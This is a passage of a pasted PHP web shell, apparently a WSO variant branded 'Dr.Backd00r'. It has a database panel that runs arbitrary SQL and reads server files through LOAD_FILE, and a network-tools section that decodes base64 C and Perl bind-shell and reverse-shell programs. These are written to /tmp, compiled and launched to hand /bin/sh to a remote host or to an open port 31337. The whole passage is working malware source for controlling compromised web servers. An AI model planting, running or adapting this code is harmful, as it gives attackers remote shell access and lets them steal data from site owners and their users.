  1355. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr>
  1356. ";
  1357. }
  1358. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  1359. if(@$_POST['p1'] == 'select') {
  1360. $_POST['p1'] = 'query';
  1361. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  1362. $num = $db->fetch();
  1363. $num = $num['n'];
  1364. echo "<span>".$_POST['p2']."</span> ($num) ";
  1365. for($i=0;$i<($num/30);$i++)
  1366. if($i != (int)$_POST['p3'])
  1367. echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  1368. else
  1369. echo ($i+1)," ";
  1370. if($_POST['type']=='pgsql')
  1371. $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1372. else
  1373. $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1374. echo "
  1375.  
  1376. ";
  1377. }
  1378. if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  1379. $db->query(@$_POST['p3']);
  1380. if($db->res !== false) {
  1381. $title = false;
  1382. echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  1383. $line = 1;
  1384. while($item = $db->fetch()) {
  1385. if(!$title) {
  1386. echo '<tr>';
  1387. foreach($item as $key => $value)
  1388. echo '<th>'.$key.'</th>';
  1389. reset($item);
  1390. $title=true;
  1391. echo '</tr><tr>';
  1392. $line = 2;
  1393. }
  1394. echo '<tr class="l'.$line.'">';
  1395. $line = $line==1?2:1;
  1396. foreach($item as $key => $value) {
  1397. if($value == null)
  1398. echo '<td><i>null</i></td>';
  1399. else
  1400. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1401. }
  1402. echo '</tr>';
  1403. }
  1404. echo '</table>';
  1405. } else {
  1406. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1407. }
  1408. }
  1409. echo "
  1410. <textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea>
  1411. <input type=submit value='Execute'>";
  1412. echo "</td></tr>";
  1413. }
  1414. echo "</table></form>
  1415. <form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1416. if(@$_POST['p1'] == 'loadfile') {
  1417. $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
  1418. $file = $db->fetch();
  1419. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1420. }
  1421. }
  1422. echo '</div>';
  1423. printFooter();
  1424. }
  1425. function actionNetwork() {
  1426. printHeader();
  1427. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1428. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1429. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1430. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1431. ?>
  1432. <h1>Network tools</h1><div class=content>
  1433. <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  1434. <span>Bind port to /bin/sh</span>
  1435.  
  1436. Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
  1437. </form>
  1438. <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  1439. <span>Back-connect to</span>
  1440.  
  1441. Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
  1442. </form>
  1443.  
  1444. <?php
  1445. if(isset($_POST['p1'])) {
  1446. function cf($f,$t) {
  1447. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1448. if($w) {
  1449. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1450. @fclose($w);
  1451. }
  1452. }
  1453. if($_POST['p1'] == 'bpc') {
  1454. cf("/tmp/bp.c",$bind_port_c);
  1455. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  1456. @unlink("/tmp/bp.c");
  1457. $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1458. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
  1459. }
  1460. if($_POST['p1'] == 'bpp') {
  1461. cf("/tmp/bp.pl",$bind_port_p);
  1462. $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1463. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
  1464. }
  1465. if($_POST['p1'] == 'bcc') {
  1466. cf("/tmp/bc.c",$back_connect_c);
  1467. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  1468. @unlink("/tmp/bc.c");
  1469. $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1470. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
  1471. }
  1472. if($_POST['p1'] == 'bcp') {
  1473. cf("/tmp/bc.pl",$back_connect_p);
  1474. $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1475. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
  1476. }
  1477. }
  1478. echo '</div>';
  1479. printFooter();
  1480. }
  1481. if( empty($_POST['a']) )
  1482. if(isset($default_action) && function_exists('action' . $default_action))
  1483. $_POST['a'] = $default_action;
  1484. else
  1485. $_POST['a'] = 'SecInfo';
  1486. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1487. call_user_func('action' . $_POST['a']);
  1488. ?>
  1489. <div id="cot_tl_fixed"><marquee>Shell - *Dr.Backd00r* - SubhashDasyam.com</marquee></div>
  1490. </marquee></div>
Add Comment
Please, Sign In to add comment